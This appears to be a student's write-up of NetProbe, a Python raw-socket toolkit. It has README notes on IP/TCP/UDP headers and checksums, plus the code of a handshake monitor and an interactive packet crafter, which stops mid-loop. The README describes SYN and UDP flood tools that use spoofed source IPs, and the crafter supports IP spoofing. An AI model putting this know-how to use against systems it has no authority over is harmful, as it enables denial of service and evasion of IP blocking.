## What Is NetProbe

NetProbe is a low-level network analysis and attack simulation toolkit built entirely from scratch in Python. It implements IPv4, TCP, and UDP protocol headers manually using raw sockets and Python's `struct` module — without relying on high-level libraries like Scapy.

The goal was not to build the fastest or most feature-rich tool, but to understand exactly what happens at the byte level when two machines communicate. Every field, every bit, every checksum is implemented and understood from first principles.

---

## Project Structure

```
netprobe/
├── core/
   ├── ip_header.py          # IPv4 header construction
   ├── tcp_header.py         # TCP header construction
   └── udp_header.py         # UDP header construction
├── tools/
   ├── sniffer.py            # Raw packet capture and parsing
   ├── port_scanner.py       # TCP SYN port scanner
   ├── handshake_monitor.py  # TCP handshake detection
   └── packet_crafter.py    # Interactive packet builder
├── attacks/
   ├── syn_flood.py          # TCP SYN flood simulation
   └── udp_flood.py          # UDP flood simulation
└── docs/
    └── protocol_notes.md     # This file
```

---

## What I Learned

### 1. How Packets Are Actually Structured

Every packet on the internet is just bytes. When you visit a website, your browser's "GET /" request gets wrapped in layers — first TCP, then IP, then Ethernet. Each layer adds its own header in front of the data from the layer above. This is called **encapsulation**.

```
Ethernet header (14 bytes)
└── IP header (20 bytes)
    └── TCP header (20 bytes)
        └── Your data ("GET / HTTP/1.1...")
```

To read or build a packet from scratch, you need to know exactly how many bytes each field occupies and in what order  because the receiving machine reads them at fixed positions. There is no punctuation, no labels, just raw bytes in a specific sequence that both sides agreed on via the RFC specification.

---

### 2. IP Headers — The Envelope

The IPv4 header is 20 bytes minimum. Every field has a specific size and position defined in RFC 791.

```
Byte 0:      Version (4 bits) + IHL (4 bits)
Byte 1:      Type of Service
Bytes 2-3:   Total Length
Bytes 4-5:   Identification
Bytes 6-7:   Flags (3 bits) + Fragment Offset (13 bits)
Byte 8:      TTL
Byte 9:      Protocol (6=TCP, 17=UDP, 1=ICMP)
Bytes 10-11: Header Checksum
Bytes 12-15: Source IP
Bytes 16-19: Destination IP
```

**Key insight  packing multiple fields into one byte:**
Version and IHL both fit in one byte. Version occupies the top 4 bits, IHL the bottom 4. To pack them:
```python
ver_ihl = (version << 4) | ihl   # shift version left, OR with ihl
```
To unpack:
```python
version = ver_ihl >> 4            # shift right to get top 4 bits
ihl     = ver_ihl & 0x0F          # mask bottom 4 bits
```

**TTL as a fingerprinting tool:**
Operating systems set TTL to different starting values:
- Linux/Mac: 64
- Windows: 128
- Network equipment: 255

When you capture a packet and see TTL=62, the packet passed through 2 routers before reaching you (64 - 2 = 62). This helps map network topology without any special tools.

---

### 3. Checksums — RFC 1071

Both IP and TCP use checksums to detect corruption. The algorithm (RFC 1071) works as follows:

1. Split the header into 16-bit words
2. Sum all words as integers
3. Fold any carry bits back in: `(sum & 0xFFFF) + (sum >> 16)`
4. Take the one's complement: `~sum & 0xFFFF`

**Why the checksum field is set to 0 before calculation:**
The checksum covers all header bytes including the checksum field itself. Since you can't include the answer in its own calculation, you set it to 0 first, compute, then replace it with the real value.

**Verification:** A receiver sums all words including the checksum field. If the result is `0xFFFF`, the packet is intact. If not, it was corrupted in transit.

---

### 4. TCP — Reliability Over IP

TCP adds reliability on top of IP, which provides none. IP just tries to deliver packets  it doesn't guarantee delivery, order, or integrity. TCP fixes all of this.

**The Three-Way Handshake:**
```
Client  Server:  SYN              (I want to connect, my seq starts at X)
Server  Client:  SYN + ACK        (OK, my seq starts at Y, I got your X)
Client  Server:  ACK              (Got it, connection established)
```
After this exchange, both sides know each other's starting sequence numbers and the connection is established.

**Why Sequence Numbers Are Random:**
If sequence numbers were predictable (starting at 0 every time), an attacker who could observe traffic patterns could inject packets into an existing connection without seeing the actual traffic  a TCP hijacking attack. Kevin Mitnick exploited predictable sequence numbers in 1994. Modern OSes use cryptographically random starting values.

**TCP Flags:**
```
SYN   (0x02)   Synchronize, initiate connection
ACK   (0x10)   Acknowledge received data
RST   (0x04)   Reset, abort connection immediately
FIN   (0x01)   Finish, gracefully close one direction
PSH   (0x08)   Push data immediately, don't buffer
URG   (0x20)   Urgent pointer is valid
```
Flags are packed into 6 bits of a single byte. To check if SYN is set: `flags & 0x02`. To set multiple flags: `SYN | ACK = 0x02 | 0x10 = 0x12`.

**TCP Pseudo-Header:**
TCP's checksum doesn't just cover the TCP header  it also covers a 12-byte "pseudo-header" containing source IP, destination IP, protocol, and TCP length. This pseudo-header is never transmitted  it exists only for checksum calculation. The reason: it binds the TCP checksum to the IP addresses, so a misrouted packet (valid IP header, wrong destination) will fail the TCP checksum check.

---

### 5. UDP — Speed Over Reliability

UDP is the opposite philosophy from TCP. No handshake, no acknowledgments, no ordering, no retransmission. Just send and forget.

The entire UDP header is 8 bytes:
```
Bytes 0-1: Source Port
Bytes 2-3: Destination Port
Bytes 4-5: Length
Bytes 6-7: Checksum
```

**Why UDP has a Length field but TCP doesn't:**
TCP is a stream protocol  sequence numbers track every byte's position, so the receiver always knows where it is. UDP is a datagram protocol — each packet is independent with no sequence tracking. The length field explicitly states how big each datagram is.

**When to use UDP over TCP:**
- DNS lookups  small request, small response, speed matters
- VoIP and video  a dropped frame is better than a delayed one
- Gaming  latency matters more than reliability
- HTTP/3 (QUIC)  Google rebuilt reliability on top of UDP with custom rules, faster than TCP for modern web traffic

The Google search capture showed this in practice  the vast majority of traffic was UDP on port 443, which is QUIC/HTTP3, not traditional HTTPS over TCP.

---

### 6. Raw Sockets

Normal sockets (the kind every application uses) let the OS handle all headers automatically. Your application only sees the data.

Raw sockets bypass this. You receive complete packets including all headers, and you can send packets where you built every header yourself. This is how Wireshark works  it uses raw sockets to see everything on the wire.

**Why root is required:**
Raw sockets give you access to all network traffic  including packets not addressed to you. Combined with the ability to spoof source IP addresses, this is a powerful capability that the OS restricts to root only.

**AF_PACKET vs AF_INET:**
```
AF_INET    captures at IP layer, Ethernet header already stripped
             byte positions start at IP header (byte 0)

AF_PACKET  captures at Ethernet layer, complete frames
             byte positions: Ethernet (0-13), IP (14-33), TCP (34+)
```
The sniffer uses `AF_PACKET` to capture everything including MAC addresses. The port scanner and packet crafter use `AF_INET` for simpler byte positions.

---

### 7. Threading — Concurrent Port Scanning

Scanning 1024 ports sequentially, waiting 2 seconds per port = up to 34 minutes worst case. With threading, 100 ports scan simultaneously.

**Why order doesn't matter:**
Each port scan is completely independent. Whether port 80 finishes before port 443 is irrelevant  we collect all results and sort them at the end.

**Race conditions:**
When multiple threads write to the same list simultaneously, the list can get corrupted  operations that look atomic in Python aren't always atomic at the CPU level. The fix is a `threading.Lock()` — only one thread can hold the lock at a time, preventing simultaneous writes.

```python
with lock:
    open_ports.append(port)   # only one thread here at a time
```

**ThreadPoolExecutor:**
Instead of creating 1024 threads simultaneously (which would overwhelm the network), `ThreadPoolExecutor(max_workers=100)` maintains a pool of 100 threads. When one finishes, it picks up the next port from the queue automatically.

---

## How Each Tool Works

### sniffer.py
Creates a raw `AF_PACKET` socket in promiscuous mode  the network card accepts all frames regardless of destination MAC. Parses each frame sequentially: Ethernet header (14 bytes)  IP header (20 bytes)  TCP or UDP header. Supports filtering by IP, port, and protocol via command-line arguments. Demonstrated capturing 244 packets from a single Google search, including DNS queries, QUIC/HTTP3 traffic, and background Microsoft telemetry.

### port_scanner.py
Implements a TCP SYN (half-open) scan. For each port, crafts a raw SYN packet with a random source port and sends it. Listens for responses: SYN|ACK means open, RST means closed, timeout means filtered. Uses `ThreadPoolExecutor` with 100 workers to scan all 1024 ports concurrently instead of sequentially. The "half-open" name comes from never sending the final ACK  the connection is never fully established.

### handshake_monitor.py
Watches live traffic and tracks TCP connection state across multiple packets. Uses a dictionary keyed by the 4-tuple `(src_ip, src_port, dst_ip, dst_port)` to store in-progress handshakes. Implements a three-state machine: `SYN_SENT`  `SYN_RECEIVED`  `ESTABLISHED`. The "reversed key" handles the fact that SYN|ACK arrives with src and dst addresses swapped compared to the original SYN.

### packet_crafter.py
Interactive tool for crafting custom packets. Takes user input for every field  source IP (can be spoofed), destination IP/port, TTL, protocol, TCP flags, sequence number, window size  all with sensible defaults. Builds the packet using the core/ header classes, sends it, and waits up to 3 seconds for a response. Supports both TCP and UDP. Useful for testing firewall behavior, probing specific flag combinations, and simulating connection stages.

### syn_flood.py
Simulates a TCP SYN flood DoS attack. Sends SYN packets as fast as possible to a target IP and port, each with a randomly spoofed source IP and source port. The target allocates memory for each half-open connection waiting for an ACK that never arrives. When the connection table fills up, legitimate connections are rejected. Uses 500 threads for maximum throughput. **Only use against machines you own or have explicit permission to test.**

### udp_flood.py
Simulates a UDP flood DoS attack. Identical structure to the SYN flood but uses UDP headers instead of TCP. Particularly effective against UDP services (DNS on port 53, game servers) since UDP has no connection state  the target must process every packet. Uses randomly spoofed source IPs to prevent simple IP-based blocking. **Only use against machines you own or have explicit permission to test.**

---

## Key Concepts Quick Reference

| Concept | Value |
|---|---|
| IP header size | 20 bytes (minimum) |
| TCP header size | 20 bytes (minimum) |
| UDP header size | 8 bytes (fixed) |
| Ethernet header size | 14 bytes |
| Linux default TTL | 64 |
| Windows default TTL | 128 |
| TCP protocol number | 6 |
| UDP protocol number | 17 |
| ICMP protocol number | 1 |
| Max IP packet size | 65535 bytes |
| Ethernet MTU | 1500 bytes |
| SYN flag value | 0x02 |
| ACK flag value | 0x10 |
| SYN\|ACK value | 0x12 |
| RST flag value | 0x04 |
| FIN flag value | 0x01 |

---

## Challenges Faced

**Binary operations**  understanding bit shifting and masking for packing multiple fields into single bytes was the hardest initial concept. The `ver_ihl` byte that packs version and IHL together required understanding `<<`, `>>`, `&`, and `|` at the bit level.

**Checksum algorithm**  the RFC 1071 one's complement checksum is not intuitive. The carry folding step `(sum & 0xFFFF) + (sum >> 16)` and the reason for setting the checksum field to 0 before calculation took time to fully understand.

**TCP pseudo-header**  discovering that TCP's checksum covers data from the IP layer (source and destination IPs) was unexpected. Understanding why this design decision was made — to detect misrouted packets — made it click.

**Byte positions shifting by 14**  the difference between `AF_PACKET` (includes Ethernet header) and `AF_INET` (starts at IP header) caused off-by-14 errors when parsing response packets. Every field position needs to account for which socket type captured the packet.

**Shared socket race condition**  in the port scanner, 100 threads sharing one receive socket meant any thread could grab any response. The fix  filtering responses by source port  required understanding that the response's source port identifies which port was scanned.

---

## Tools & Technologies

- **Language:** Python 3
- **Key modules:** `socket`, `struct`, `threading`, `concurrent.futures`
- **Platform:** Linux (raw sockets require Linux or macOS)
- **Privileges:** Root required for all tools
- **No external dependencies**  everything built from stdlib only

---

## References

- RFC 791  Internet Protocol: https://tools.ietf.org/html/rfc791
- RFC 793  Transmission Control Protocol: https://tools.ietf.org/html/rfc793
- RFC 768  User Datagram Protocol: https://tools.ietf.org/html/rfc768
- RFC 1071  Computing the Internet Checksum: https://tools.ietf.org/html/rfc1071
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
"""
tools/handshake_monitor.py — TCP Handshake Monitor
====================================================

WHAT THIS FILE DOES:
Watches live network traffic and detects whenever a complete
TCP three-way handshake occurs — meaning a new connection was
successfully established between two machines.

Every time your browser opens a new connection, every time an
app connects to a server, every time SSH starts — this tool
sees it happen in real time.

HOW IT WORKS:
Captures every TCP packet using the same raw socket approach
as sniffer.py, but instead of just printing packets, it tracks
connection STATE across multiple packets using a dictionary.

THE THREE-WAY HANDSHAKE (reminder):
------------------------------------
  Packet 1: Client → Server   SYN          "I want to connect"
  Packet 2: Server → Client   SYN|ACK      "OK, I'm ready"
  Packet 3: Client → Server   ACK          "Great, let's go"

These three packets don't arrive together — they're mixed in
with hundreds of other packets. We track them by storing
connection state in a dictionary between packets.

THE STATE MACHINE:
------------------
Each connection moves through states:

  (no entry)   → see SYN      → "SYN_SENT"
  SYN_SENT     → see SYN|ACK  → "SYN_RECEIVED"
  SYN_RECEIVED → see ACK      → COMPLETE → print and remove

If a connection gets stuck (server never responds), it stays
in the dictionary indefinitely. A production tool would add
a cleanup timer — something to add as an improvement.

WHAT'S REUSED FROM SNIFFER:
----------------------------
This tool imports and reuses sniffer.py's parsing functions
directly — create_socket, parse_ethernet_header, parse_ip_header,
parse_tcp_header. No code duplication. This is why we built
those as separate functions rather than inline code.
"""

import os
import sys
import socket
import struct
import time

# ─────────────────────────────────────────────────────────────
# PATH SETUP
# ─────────────────────────────────────────────────────────────

# Add project root to Python's module search path so we can
# import from both tools/ and core/ directories.
# Same pattern used in port_scanner.py.
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

# Import parsing functions directly from sniffer.
# We don't need to rewrite any of this — the sniffer already
# handles all raw socket creation and packet parsing correctly.
from tools.sniffer import (create_socket, parse_ethernet_header,
                            parse_ip_header, parse_tcp_header)


# ─────────────────────────────────────────────────────────────
# SOCKET SETUP
# ─────────────────────────────────────────────────────────────

# Create a raw socket at the Ethernet layer, bound to eth0.
# AF_PACKET captures complete frames including Ethernet header.
# Same socket as the sniffer — we're just using the frames
# differently (tracking state instead of printing everything).
# Change 'eth0' to 'wlan0' if on wireless.
recv_sock = create_socket('eth0')


# ─────────────────────────────────────────────────────────────
# CONNECTION STATE TRACKER
# ─────────────────────────────────────────────────────────────

# Dictionary storing in-progress TCP handshakes.
#
# KEY: 4-tuple identifying a unique connection
#   (src_ip, src_port, dst_ip, dst_port)
#   Example: ('192.168.1.1', 54321, '10.0.0.1', 80)
#
# VALUE: dictionary with connection state and timestamp
#   {
#       'state':     'SYN_SENT' or 'SYN_RECEIVED',
#       'timestamp': time.time() when SYN was first seen
#   }
#
# WHY OUTSIDE THE LOOP:
# This MUST be defined before the while loop — not inside it.
# If defined inside the loop, it resets to {} on every packet,
# destroying all tracked connections. Handshakes span multiple
# packets so state must persist between loop iterations.
connections = {}


# ─────────────────────────────────────────────────────────────
# MAIN CAPTURE LOOP
# ─────────────────────────────────────────────────────────────

try:
    while True:

        # ── Capture one raw Ethernet frame ───────────────────
        # Blocks here until a packet arrives on the interface.
        # raw_frame = complete Ethernet frame as bytes
        # addr = (interface, protocol, ...) — not used here
        raw_frame, addr = recv_sock.recvfrom(65535)

        # ── Parse Ethernet header ─────────────────────────────
        # Strips the 14-byte Ethernet header and returns:
        # dst_m, src_m  = destination and source MAC addresses
        # ethertype     = protocol inside (0x0800 = IPv4)
        # ip_payload    = everything after Ethernet header
        dst_m, src_m, ethertype, ip_payload = parse_ethernet_header(raw_frame)

        # ── Parse IP header ───────────────────────────────────
        # Extracts all IP header fields into a dictionary.
        # We need ip_dict['protocol'] to filter TCP only,
        # and ip_dict['src_ip']/['dst_ip'] for the connection key.
        ip_dict = parse_ip_header(ip_payload=ip_payload)

        # ── Filter: only process TCP packets ─────────────────
        # Protocol 6 = TCP. We skip UDP (17), ICMP (1), etc.
        # Handshakes only happen in TCP — UDP has no connection state.
        if ip_dict['protocol'] == 6:

            # ── Parse TCP header ──────────────────────────────
            # Extracts ports, sequence numbers, flags etc.
            # header_length_raw tells parse_tcp_header where TCP starts
            # (IP header size varies if IP options are present)
            tcp_dict = parse_tcp_header(
                ip_payload,
                ip_header_length=ip_dict['header_length_raw']
            )

            # ── Build the connection key ───────────────────────
            # A 4-tuple uniquely identifies one TCP connection.
            # Two browser tabs to the same server have different
            # src_ports so they get different keys — no mixing up.
            #
            # key = as seen in THIS packet (src → dst)
            key = (
                ip_dict['src_ip'], tcp_dict['src_port'],
                ip_dict['dst_ip'], tcp_dict['dst_port']
            )

            # reversed_key = same connection but from the OTHER direction
            #
            # WHY WE NEED THIS:
            # The SYN|ACK response comes back with src and dst SWAPPED:
            #
            #   SYN:     src=192.168.1.1:54321  dst=10.0.0.1:80
            #   SYN|ACK: src=10.0.0.1:80        dst=192.168.1.1:54321
            #
            # When SYN|ACK arrives, its 'key' would be:
            #   ('10.0.0.1', 80, '192.168.1.1', 54321)
            # But we stored the SYN under:
            #   ('192.168.1.1', 54321, '10.0.0.1', 80)
            #
            # reversed_key lets us look up the original SYN entry
            # using the flipped addresses from the response packet.
            reversed_key = (
                ip_dict['dst_ip'], tcp_dict['dst_port'],
                ip_dict['src_ip'], tcp_dict['src_port']
            )

            # ── STATE MACHINE ─────────────────────────────────

            if tcp_dict['flags']['SYN'] and not tcp_dict['flags']['ACK']:
                # ── SYN only → new connection starting ────────
                # Client is initiating a connection.
                # Store it with state SYN_SENT and record when
                # we first saw it (for future timeout cleanup).
                #
                # 'key' here = (client_ip, client_port, server_ip, server_port)
                # This is the canonical key for this connection.
                connections[key] = {
                    'state': 'SYN_SENT',
                    'timestamp': time.time()
                }

            elif tcp_dict['flags']['SYN'] and tcp_dict['flags']['ACK']:
                # ── SYN|ACK → server responded ────────────────
                # Server accepted the connection request.
                # We look up using reversed_key because this packet's
                # src/dst are swapped compared to the original SYN.
                #
                # If we find the matching SYN entry, advance its state.
                # If not found — we missed the SYN (started monitoring
                # mid-connection) — silently ignore.
                if reversed_key in connections:
                    connections[reversed_key]['state'] = 'SYN_RECEIVED'

            elif tcp_dict['flags']['ACK'] and not tcp_dict['flags']['SYN']:
                # ── ACK only → potential handshake completion ──
                # This could be:
                #   a) The final ACK completing a handshake — we want this
                #   b) A normal data acknowledgment mid-connection — ignore
                #
                # We distinguish by checking if reversed_key exists in
                # connections AND is in state SYN_RECEIVED.
                # Only a handshake-completing ACK satisfies both conditions.
                if reversed_key in connections and \
                        connections[reversed_key]['state'] == 'SYN_RECEIVED':

                    # Handshake complete — new connection established
                    # key here = (client_ip, client_port, server_ip, server_port)
                    src_ip, src_port, dst_ip, dst_port = key
                    print(f"[+] HANDSHAKE COMPLETE")
                    print(f"    {src_ip}:{src_port}{dst_ip}:{dst_port}")
                    print(f"    Time: {time.strftime('%H:%M:%S')}\n")

                    # Remove from dictionary — handshake is done,
                    # no need to track this connection anymore
                    del connections[reversed_key]

except KeyboardInterrupt:
    # User pressed Ctrl+C — shut down cleanly
    print(f"\n[*] Monitor stopped.")
    print(f"[*] Connections still in progress: {len(connections)}")
    recv_sock.close()
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
"""
tools/packet_crafter.py — Interactive Packet Crafter
=====================================================

WHAT THIS FILE DOES:
Lets you manually craft and send any TCP or UDP packet with
full control over every field — source IP, destination IP,
ports, TTL, TCP flags, sequence numbers, window size.

This is the most flexible tool in NetProbe. Unlike the port
scanner which sends the same SYN to every port automatically,
the packet crafter lets YOU decide exactly what gets sent.

USE CASES:
- Test how a target responds to unusual flag combinations
  (e.g. RST to abort a connection, FIN to close one gracefully)
- Send packets with a spoofed source IP to test firewall rules
- Test how targets handle low TTL values
- Craft malformed or unexpected packets to probe IDS/firewall behavior
- Manually simulate specific stages of the TCP handshake

HOW IT WORKS:
1. Ask user for all packet fields with sensible defaults
2. Build IP + TCP (or UDP) headers using our core/ classes
3. Send via raw socket
4. Wait up to 3 seconds for a response
5. Parse and display the response flags, IPs, ports
6. Ask if user wants to send another packet

WHAT'S NEW COMPARED TO PORT SCANNER:
- Interactive input instead of hardcoded values
- Supports both TCP and UDP
- Displays detailed response information
- Loop to send multiple packets in one session
"""

import os
import sys
import socket
import struct
import random

# ─────────────────────────────────────────────────────────────
# PATH SETUP
# ─────────────────────────────────────────────────────────────

# Add project root to Python's path so imports from core/ work
# regardless of which directory you run this script from.
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from core.ip_header import IPHeader
from core.tcp_header import TCPFlags, TCPHeader
from core.udp_header import UDPHeader


# ─────────────────────────────────────────────────────────────
# USER INPUT
# ─────────────────────────────────────────────────────────────

def get_user_input() -> dict:
    """
    Interactively collect all packet fields from the user.

    DESIGN PRINCIPLE — SENSIBLE DEFAULTS:
    Every field has a default so the user only needs to type
    what they want to change. Pressing Enter accepts the default.

    This pattern is used everywhere in CLI tools:
        value = input("Field [default: X]: ").strip()
        value = int(value) if value else X

    If the user typed something → use it (converted to correct type)
    If the user pressed Enter  → use the default

    PROTOCOL CHOICE AFFECTS LATER FIELDS:
    TCP has flags, sequence numbers, and window size.
    UDP has none of these — it's just ports and data.
    So we only ask for TCP-specific fields if protocol is TCP.

    Returns:
        Dictionary containing all packet fields ready to use
        in craft_and_send()
    """

    print("\n" + "=" * 50)
    print("  NetProbe Packet Crafter")
    print("=" * 50)

    # ── Source IP ─────────────────────────────────────────────
    # Defaults to your real IP via gethostbyname/gethostname.
    # User can override with any IP — including a spoofed one.
    # Spoofed source IPs are useful for testing firewall rules
    # but responses will go to the spoofed IP, not back to you.
    src_ip = input("Source IP [default: your IP]: ").strip()
    if not src_ip:
        src_ip = socket.gethostbyname(socket.gethostname())

    # ── Destination IP ────────────────────────────────────────
    # Required — no sensible default for where to send the packet.
    # Loop until user provides a value.
    dst_ip = input("Destination IP: ").strip()
    while not dst_ip:
        print("  Destination IP is required.")
        dst_ip = input("Destination IP: ").strip()

    # ── Protocol ──────────────────────────────────────────────
    # TCP (6) or UDP (17). Determines which transport header
    # we build and which fields we ask for next.
    # Anything other than "UDP" defaults to TCP.
    protocol_input = input("Protocol [TCP/UDP, default: TCP]: ").strip().upper()
    if protocol_input == "UDP":
        protocol = 17
    else:
        protocol = 6

    # ── TTL ───────────────────────────────────────────────────
    # Time To Live — each router decrements by 1.
    # Default 64 = Linux standard. Windows uses 128.
    # Set to 1 to see which first-hop router drops it.
    # Set to 255 to maximize reach across many hops.
    ttl_input = input("TTL [default: 64]: ").strip()
    ttl = int(ttl_input) if ttl_input else 64

    # ── Source Port ───────────────────────────────────────────
    # Random high port by default (50000-65535 = ephemeral range).
    # The target's response will come back to this port.
    # If you spoof the source IP, responses won't reach you anyway.
    src_port_input = input("Source port [default: random]: ").strip()
    src_port = int(src_port_input) if src_port_input else random.randint(50000, 65535)

    # ── Destination Port ──────────────────────────────────────
    # Which service to target. Common ports:
    # 22=SSH, 80=HTTP, 443=HTTPS, 53=DNS, 3389=RDP
    dst_port_input = input("Destination port [default: 80]: ").strip()
    dst_port = int(dst_port_input) if dst_port_input else 80

    # ── TCP-specific fields ───────────────────────────────────
    # Only asked if protocol is TCP. UDP has no flags, sequence
    # numbers, or window — those are TCP-only concepts.
    if protocol == 6:

        # Flags — the most powerful field in a packet crafter.
        # Controls connection behavior:
        #   SYN         = initiate connection (port scanner uses this)
        #   RST         = forcefully abort any existing connection
        #   FIN         = gracefully close connection
        #   ACK         = acknowledge received data
        #   SYN|ACK     = server's response to SYN (handshake step 2)
        #   PSH         = push data immediately, don't buffer
        #   URG         = urgent pointer is valid
        #
        # TCPFlags.from_string() handles parsing "SYN|ACK" style input
        # by splitting on | and OR-ing the individual flag values.
        print("  Flags: SYN, ACK, RST, FIN, PSH, URG, SYN|ACK, FIN|ACK")
        flag_input = input("Flags [default: SYN]: ").strip().upper()
        flags = TCPFlags.from_string(flag_input) if flag_input else TCPFlags.SYN

        # Sequence number — identifies position in the byte stream.
        # Random by default (mirrors real OS behavior and prevents
        # TCP hijacking as we discussed when building tcp_header.py).
        # Override with a specific value for advanced testing.
        seq_input = input("Sequence number [default: random]: ").strip()
        seq = int(seq_input) if seq_input else random.randint(0, 2**32 - 1)

        # Window size — advertises how much buffer space we have.
        # 65535 = maximum for non-scaled connections.
        # Setting this to 0 is a valid test — it tells the target
        # to stop sending (window probe scenario).
        window_input = input("Window size [default: 65535]: ").strip()
        window = int(window_input) if window_input else 65535

    else:
        # UDP doesn't use these fields — set to None
        flags = None
        seq = None
        window = None

    # Return all collected values as a single dictionary.
    # craft_and_send() receives this dict and uses each value.
    return {
        "src_ip":   src_ip,
        "dst_ip":   dst_ip,
        "protocol": protocol,
        "ttl":      ttl,
        "src_port": src_port,
        "dst_port": dst_port,
        "flags":    flags,
        "seq":      seq,
        "window":   window,
    }


# ─────────────────────────────────────────────────────────────
# PACKET BUILDING AND SENDING
# ─────────────────────────────────────────────────────────────

def craft_and_send(params: dict) -> None:
    """
    Build the packet from user params, send it, and display response.

    TWO SOCKETS — SAME PATTERN AS PORT SCANNER:
    --------------------------------------------
    send_sock (IPPROTO_RAW):
        For sending our crafted packet with custom IP header.
        IP_HDRINCL tells OS we're providing the IP header ourselves.

    recv_sock (IPPROTO_TCP or IPPROTO_UDP):
        For capturing the response. Protocol must match what we sent
        so we only capture relevant responses and ignore other traffic.

    WHY WE SWAP recv_sock FOR UDP:
    If we sent UDP, we need recv_sock to capture UDP responses.
    The initial recv_sock is TCP — we close it and open a UDP one.
    This ensures we don't miss UDP responses or capture wrong packets.

    Args:
        params: Dictionary from get_user_input() containing all fields
    """

    # ── Create sockets ────────────────────────────────────────
    # Sending socket — same for both TCP and UDP
    send_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

    # IP_HDRINCL = "IP Header Included"
    # Tells the OS: don't add your own IP header, I've built mine.
    # Without this the OS would prepend another IP header, creating
    # a malformed double-header packet.
    send_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # Receiving socket — start with TCP, swap to UDP if needed
    recv_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
    recv_sock.settimeout(3)   # wait max 3 seconds for a response

    # ── Build transport header ────────────────────────────────
    if params["protocol"] == 6:
        # TCP packet — build with all user-specified fields
        tcp_obj = TCPHeader(
            src_port=params["src_port"],
            dst_port=params["dst_port"],
            flags=params["flags"],
            seq=params["seq"],
            window=params["window"],
        )
        # build() calculates checksum using pseudo-header
        # (requires src and dst IPs — that's why we pass them here)
        transport_header = tcp_obj.build(params["src_ip"], params["dst_ip"])

    else:
        # UDP packet — simpler, just ports and checksum
        udp_obj = UDPHeader(
            src_port=params["src_port"],
            dst_port=params["dst_port"],
        )
        transport_header = udp_obj.build(params["src_ip"], params["dst_ip"])

        # Swap recv_sock to UDP so we capture UDP responses.
        # The TCP recv_sock would miss UDP packets entirely.
        recv_sock.close()
        recv_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
        recv_sock.settimeout(3)

    # ── Build IP header ───────────────────────────────────────
    # Built AFTER transport header because we need len(transport_header)
    # for the IP total length field. Same order as port_scanner.py.
    ip_obj = IPHeader(
        src=params["src_ip"],
        dst=params["dst_ip"],
        protocol=params["protocol"],
        ttl=params["ttl"],
    )
    ip_header = ip_obj.build(payload_length=len(transport_header))

    # ── Combine into complete raw packet ──────────────────────
    # Final packet = IP header (20 bytes) + transport header (20 or 8 bytes)
    # This is exactly what goes on the wire.
    packet = ip_header + transport_header

    # ── Print send summary ────────────────────────────────────
    print(f"\n[*] Sending packet...")
    print(f"    {params['src_ip']}:{params['src_port']} → "
          f"{params['dst_ip']}:{params['dst_port']}")
    if params["protocol"] == 6:
        print(f"    Flags: {TCPFlags.to_string(params['flags'])}  "
              f"TTL: {params['ttl']}  "
              f"Seq: {params['seq']}")
    else:
        print(f"    Protocol: UDP  TTL: {params['ttl']}")

    # ── Send the packet ───────────────────────────────────────
    # sendto() requires (data, (dst_ip, port)) tuple.
    # Port is 0 for raw sockets — destination port is already
    # embedded inside the transport header we crafted.
    send_sock.sendto(packet, (params["dst_ip"], 0))
    print(f"[*] Packet sent ({len(packet)} bytes)")

    # ── Wait for response ─────────────────────────────────────
    print(f"[*] Waiting for response (3s timeout)...")

    try:
        while True:
